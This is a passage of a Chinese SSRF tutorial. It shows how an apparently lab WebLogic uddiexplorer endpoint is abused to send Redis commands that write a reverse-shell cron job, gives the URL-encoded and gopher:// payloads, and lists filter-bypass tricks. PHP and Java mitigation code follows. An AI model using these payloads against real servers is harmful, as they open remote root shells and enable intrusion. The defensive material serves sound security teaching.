生成gopher Payload 脚本:https://xz.aliyun.com/t/5665#toc-8
发送三条redis命令,将弹shell脚本写入/etc/crontab:
```
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
```
进行url编码:
```
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
```
注意,换行符是“\r\n”,也就是“%0D%0A”。
发送请求
```
http://xxx.xxx.xxx.xxx:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.21.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
```
![](https://i.imgur.com/nOJCo2N.png)
查看Redis和`/etc/crontab`成功写入
![](https://i.imgur.com/m465hOb.png)
反弹shell成功
![](https://i.imgur.com/47LKioL.png)
gopher协议payload
```
gopher://127.0.0.1:6379/_*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2415%0d%0a/var/spool/cron%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0awww%0d%0a%2455%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0d%0a*1%0d%0a%244%0d%0asave%0d%0a
```
尝试gopher发现curl 7.19.7版本不支持,挺老的版本
![](https://i.imgur.com/XRVW1i0.png)
不过我们还可以用dict协议来利用
http://www.cnblogs.com/iamstudy/articles/13th_cuit_game_wp_web300_ssrf.html
## 修复方案
* 限制协议为HTTP、HTTPS
* 禁止30x跳转
* 设置URL白名单或者限制内网IP
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
限制请求的端口为http常用的端口,比如,80,443,8080,8090。
黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
谈一谈如何在Python开发中拒绝SSRF漏洞
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
PHP开发中防御SSRF
https://www.jianshu.com/p/6ea9b8652d73
绕过方法
```
1. http://admin@127.0.0.1:80@www.baidu.com/ orange的SSRF议题中讲过这个,依赖lib_curl的版本。
2. 利用ipv6绕过,http://[::1]/
3. http://127.0.0.1./
```
https://feei.cn/ssrf
根据漏洞原理,我们能很容易的推导出修复方案。
1. 既然其它协议那么危险,就禁止非HTTP[S]协议的使用(解决非HTTP[S]协议的高危害)。
1. 只允许HTTP[S]协议后还是能进行内网探测,所以需要对被请求的URL进行白名单限制。
1. 部分请求服务(Request Service)会默认开启301跳转,也就是说如果是一个HTTP[S]的请求,也可能跳转到非HTTP[S]的请求上,那就绕过了第一条的限制,所以我们需要关闭301跳转的支持。
php cUrl
```php=
/**
* Request service(Base cURL)
*
* @author Feei <wufeifei@wufeifei.com>
* @link http://wufeifei.com/ssrf
*/
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
/**
* 1. 增加此行限制只能请求HTTP[S]的服务
* @link https://curl.haxx.se/libcurl/c/CURLOPT_PROTOCOLS.html
*/
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
/**
* 2. 增加此行禁止301跳转
* @link https://curl.haxx.se/libcurl/c/CURLOPT_FOLLOWLOCATION.html
*/
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
/**
* 3. 请求域名白名单
*/
$white_list_urls = [
'www.wufeifei.com',
'www.mogujie.com'
]
if (in_array(parse_url($url)['host'], $white_list_urls)){
echo curl($url);
} else {
echo 'URL not allowed';
}
```
Java HttpURLConnection
```java=
/**
* 1. 限制允许HTTP[S]协议
*/
if(!url.getProtocol().startsWith("http"))
throw new Exception();
/**
* 3. 请求域白名单
*/
InetAddress inetAddress = InetAddress.getByName(url.getHost());
if(inetAddress.isAnyLocalAddress() || inetAddress.isLoopbackAddress() || inetAddress.isLinkLocalAddress())
throw new Exception();
HttpURLConnection conn = (HttpURLConnection)(url.openConnection());
/**
* 2. 禁止301跳转
*/
conn.setInstanceFollowRedirects(false);
conn.connect();
IOUtils.copy(conn.getInputStream(), out);
```